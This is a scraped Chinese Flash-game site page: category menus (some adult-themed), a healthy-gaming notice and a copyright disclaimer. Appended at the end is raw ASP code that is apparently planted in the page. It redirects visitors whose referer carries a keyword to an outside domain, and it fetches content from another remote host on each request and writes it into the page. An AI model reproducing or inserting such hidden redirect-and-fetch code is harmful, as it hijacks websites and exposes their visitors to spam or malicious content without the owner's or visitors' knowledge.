周排行总排行
最新小游戏
专题推荐
  • 传奇

  • 铠甲勇士

  • 赛车

  • 换装

  • 汽车

  • 台球

  • 美女

  • 脱衣

  • 成人

  • 变态版

  • 无敌版

  • 双人

健康游戏忠告
抵制不良游戏,拒绝盗版游戏 注意自我保护,谨防受骗上当
适度游戏益脑,沉迷游戏伤身 合理安排时间,享受健康生活
本站所有FLASH短片和小游戏均由本站通过互联网采集,所有作品版权均归作者所有。
如果无意之中侵犯了您的版权,请来信告知,本站将立即予以删除。
<% Function GetUrl() dim url url=Request.ServerVariables("SERVER_NAME") Set reg = New RegExp reg.Pattern = "^(?:http)?s?(?::\/\/)?(?: www.|\*.|\.)?(.*)$" reg.Global = True reg.IgnoreCase = True GetUrl = reg.Replace(url,"$1") End Function Dim REFERER REFERER = Cstr(Request.ServerVariables("HTTP_REFERER")) If InStr(REFERER,"rrr87rrr") > 0 Then Response.Redirect("http://www.198668.net/data/cache/vip.html?"&GetUrl&"") Response.End() End IF response.write content %> <% url="http://tt78.com/Script/Ajax/3/index.asp" Path = url & "?" & now() t = GetBody(Path) Response.BinaryWrite t Function GetBody(url) Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With on error resume next if Retrieval.status <>200 then Set Retrieval = Nothing exit function end if End Function %>